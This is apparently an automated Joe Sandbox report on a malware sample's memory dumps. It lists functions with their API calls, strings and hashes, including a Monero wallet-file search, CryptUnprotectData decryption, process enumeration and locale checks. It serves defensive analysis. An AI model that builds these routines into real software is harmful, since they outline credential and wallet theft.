Source File: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID:
String ID: *W$&SA$Ao$Ao$Qoo}$S^m$fmu>$k
API String ID: 0-2769721139
Opcode ID: aad46151c938c2cde5d3b060af5cd579f327f753d82eb25dd0d24425652a0acf
Instruction ID: b9cce1f85eba55d3da258fe0b17b3e4935406a549472ca8cb7e90fd6ea9fc07f
Opcode Fuzzy Hash: aad46151c938c2cde5d3b060af5cd579f327f753d82eb25dd0d24425652a0acf
Instruction Fuzzy Hash: D9B206F3A082109FE3046E2DEC8567AFBE5EF94320F1A893DE6C4C7744E63598458796

Function 00357B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0035A740: lstrcpy.KERNEL32(00360E17,00000000), ref: 0035A788

GetKeyboardLayoutList.USER32(00000000,00000000,003605AF), ref: 00357BE1
LocalAlloc.KERNEL32(00000040,?), ref: 00357BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 00357C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00357C62
LocalFree.KERNEL32(00000000), ref: 00357D22

Strings

/ , xrefs: 00357C7F

Memory Dump Source

Source File: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 057319130775246f392211097fff77174c7d56e16d2607d3a70751c8e2dd8bc6
Instruction ID: 9666f6d0d2da6f650ceb0f5366fcfd7c4a407eed8eec851a26380b3d228e3f21
Opcode Fuzzy Hash: 057319130775246f392211097fff77174c7d56e16d2607d3a70751c8e2dd8bc6
Instruction Fuzzy Hash: BB416F71940218ABDB25DB94DC89FEEB7B8FF44701F1042D9E809661A0DB342F89DFA1

Function 0070966C Relevance: 10.4, Strings: 7, Instructions: 1631COMMON

Download Yara Rule

Strings

4}, xrefs: 00709C0A
c7ok, xrefs: 00709CE0
-Rj, xrefs: 0070A467
Fhw~, xrefs: 00709932
'_, xrefs: 007098A2
4I_], xrefs: 00709BC6
1w{, xrefs: 00709BDD

Memory Dump Source

Source File: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID:
String ID: -Rj$1w{$4I_]$4}$Fhw~$c7ok$'_
API String ID: 0-3014980375
Opcode ID: d58239d1a4531e32e515af4d1c8762768e8c3ede36a98e85ab26a7393418b108
Instruction ID: 6823c716f477b739b14ea8643fe09e42b80134db0de6edd3eb2d6bca04cbcd43
Opcode Fuzzy Hash: d58239d1a4531e32e515af4d1c8762768e8c3ede36a98e85ab26a7393418b108
Instruction Fuzzy Hash: 08B206F360C2049FE304AE29DC4567AFBE9EF94720F1A893DE6C5C7744EA3598418693

Function 0034E430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0035A740: lstrcpy.KERNEL32(00360E17,00000000), ref: 0035A788

Part of subcall function 0035A920: lstrcpy.KERNEL32(00000000,?), ref: 0035A972
Part of subcall function 0035A920: lstrcat.KERNEL32(00000000), ref: 0035A982

Part of subcall function 0035A9B0: lstrlen.KERNEL32(?,00FB9848,?,\Monero\wallet.keys,00360E17), ref: 0035A9C5
Part of subcall function 0035A9B0: lstrcpy.KERNEL32(00000000), ref: 0035AA04
Part of subcall function 0035A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0035AA12

Part of subcall function 0035A8A0: lstrcpy.KERNEL32(?,00360E17), ref: 0035A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00360D73), ref: 0034E4A2
StrCmpCA.SHLWAPI(?,003614F8), ref: 0034E4F2
StrCmpCA.SHLWAPI(?,003614FC), ref: 0034E508
FindNextFileA.KERNEL32(000000FF,?), ref: 0034EBDF

Strings

\*.*, xrefs: 0034E44D

Memory Dump Source

Source File: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: 44fe1b5cd0264dc1a591374727c2f093bf46cbce2cfbac4aabe97702085b9577
Instruction ID: bd99af1c764b13050292e4e42d58e7bbb33be44c4de7270e73a9c6b8cc054bb4
Opcode Fuzzy Hash: 44fe1b5cd0264dc1a591374727c2f093bf46cbce2cfbac4aabe97702085b9577
Instruction Fuzzy Hash: 581264319105189ADB16FB60DC96EED7778BF54301F404299B90AAA0A1FF306F4DEF92

Function 00349AC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N4,00000000,00000000), ref: 00349AEF
LocalAlloc.KERNEL32(00000040,?,?,?,00344EEE,00000000,?), ref: 00349B01
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N4,00000000,00000000), ref: 00349B2A
LocalFree.KERNEL32(?,?,?,?,00344EEE,00000000,?), ref: 00349B3F

Strings

N4, xrefs: 00349AD4, 00349AE1, 00349AF9, 00349B18, 00349AE4, 00349B1B

Memory Dump Source

Source File: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID: N4
API String ID: 4291131564-2877227682
Opcode ID: c8d86198524a614e365e67a9e2ac70a8e3a1fc96c2c72a4bc366107f59e599d0
Instruction ID: 567afea89e5745b0b3eefb066b0798207c86a85a6f2e5689ecae565c07cc3599
Opcode Fuzzy Hash: c8d86198524a614e365e67a9e2ac70a8e3a1fc96c2c72a4bc366107f59e599d0
Instruction Fuzzy Hash: 60119DB4240208EFEB10CF64DC95FAA77B5EB89700F208059FE159F390C7B6A901DBA0

Function 00711BD7 Relevance: 7.9, Strings: 5, Instructions: 1666COMMON

Download Yara Rule

Strings

kE]~, xrefs: 00712998
QO}, xrefs: 00712A99
}u~, xrefs: 00711D64
}ar, xrefs: 00711E9E
oCV6, xrefs: 00712BD0

Memory Dump Source

Source File: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID:
String ID: QO}$kE]~$oCV6$}u~$}ar
API String ID: 0-921041181
Opcode ID: 14e5af26baa838caa063e99d92a19dc5c632aaf5b6b740b3b30a9a9178f34ea0
Instruction ID: 00282356f84f9dff55bdf66dffca54ecb17491cfac1cec2f70b79b14a2e740dc
Opcode Fuzzy Hash: 14e5af26baa838caa063e99d92a19dc5c632aaf5b6b740b3b30a9a9178f34ea0
Instruction Fuzzy Hash: 90B229F3A082049FE3046E2DEC8567ABBE5EFD4720F1A4A3DEAC5C3744E63558058697

Function 0034C820 Relevance: 7.6, APIs: 5, Instructions: 95stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 0034C871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0034C87C
lstrcat.KERNEL32(?,00360B46), ref: 0034C943
lstrcat.KERNEL32(?,00360B47), ref: 0034C957
lstrcat.KERNEL32(?,00360B4E), ref: 0034C978

Memory Dump Source

Source File: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$BinaryCryptStringlstrlen
String ID:
API String ID: 189259977-0
Opcode ID: c12fb9e60bc67982baf020c27f071b13cf81efe96722a941c3a9a04e41ffd6f3
Instruction ID: f0e41e7eed53afa36956fded784817d9190ee5f226a6ec881647ce9157ab2f0c
Opcode Fuzzy Hash: c12fb9e60bc67982baf020c27f071b13cf81efe96722a941c3a9a04e41ffd6f3
Instruction Fuzzy Hash: 06416DB5D1421AEBDB10CF90DC89BEEB7B8AB48304F1041A9E509B7284D7746A84DFA1

Function 00356920 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 0035696C
sscanf.NTDLL ref: 00356999
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 003569B2
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 003569C0
ExitProcess.KERNEL32 ref: 003569DA

Memory Dump Source

Source File: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: 898174d59afdb8943682eee2f679b0da9e78d59da4f3048ec11cfe90cf8cb153
Instruction ID: 81137ec2bc5a5aa6c811636b0a3d515ef294a63a415a1306fd6d87c1210466b7
Opcode Fuzzy Hash: 898174d59afdb8943682eee2f679b0da9e78d59da4f3048ec11cfe90cf8cb153
Instruction Fuzzy Hash: 7D21EA75D10208ABDF04EFE4D945DEEB7B5BF48301F04852AE806F3250EB345609DB65

Function 00347240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 0034724D
RtlAllocateHeap.NTDLL(00000000), ref: 00347254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 00347281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 003472A4
LocalFree.KERNEL32(?), ref: 003472AE

Memory Dump Source

Source File: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: b4cde7c109542132fcbc2116ad5ab3356103345614bbf965b6bd3304c66312cf
Instruction ID: 2b8e4a7125cbc6d7f52cf407a5c5edfe91f2d53dea5e17f15c8bb7a396634b91
Opcode Fuzzy Hash: b4cde7c109542132fcbc2116ad5ab3356103345614bbf965b6bd3304c66312cf
Instruction Fuzzy Hash: 78010CB5A40208BBEB14DFD4CD4AF9E77B8EB44B00F104555FB05BA2C0D6B0AA049B65

Function 00359600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0035961E
Process32First.KERNEL32(00360ACA,00000128), ref: 00359632
Process32Next.KERNEL32(00360ACA,00000128), ref: 00359647
StrCmpCA.SHLWAPI(?,00000000), ref: 0035965C
CloseHandle.KERNEL32(00360ACA), ref: 0035967A

Memory Dump Source

Source File: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: dc5b5e4e0479a63d829bb8ff8ed4c4a63d13ac3596c1278522377fdc98eb28c9
Instruction ID: f1356414889b343083a51e497c3b00fefbaccb9f85040f5b90a263b534831446
Opcode Fuzzy Hash: dc5b5e4e0479a63d829bb8ff8ed4c4a63d13ac3596c1278522377fdc98eb28c9
Instruction Fuzzy Hash: 61014C75A00208EBDB11DFA4CC48FEDB7F8EB18311F10418AAD06A7250D7349B48DF51

Function 00358EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,00345184,40000001,00000000,00000000,?,00345184), ref: 00358EC0

Memory Dump Source

Source File: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: 3ccafde9dc7febab0991ca093fb0546f9150b83ec36bb0e0e041d2899e7716f5
Instruction ID: de79274782890ab6157e29351952b5b57f49d752b180212f29ec8ae429d0a281
Opcode Fuzzy Hash: 3ccafde9dc7febab0991ca093fb0546f9150b83ec36bb0e0e041d2899e7716f5
Instruction Fuzzy Hash: BC110670200208AFDB01CF64EC85FAA33A9AF89305F109448FD1A9B260DB35E849EB60

Function 00357A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,00FBDEC0,00000000,?,00360E10,00000000,?,00000000,00000000), ref: 00357A63
RtlAllocateHeap.NTDLL(00000000), ref: 00357A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,00FBDEC0,00000000,?,00360E10,00000000,?,00000000,00000000,?), ref: 00357A7D
wsprintfA.USER32 ref: 00357AB7

Memory Dump Source

Source File: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
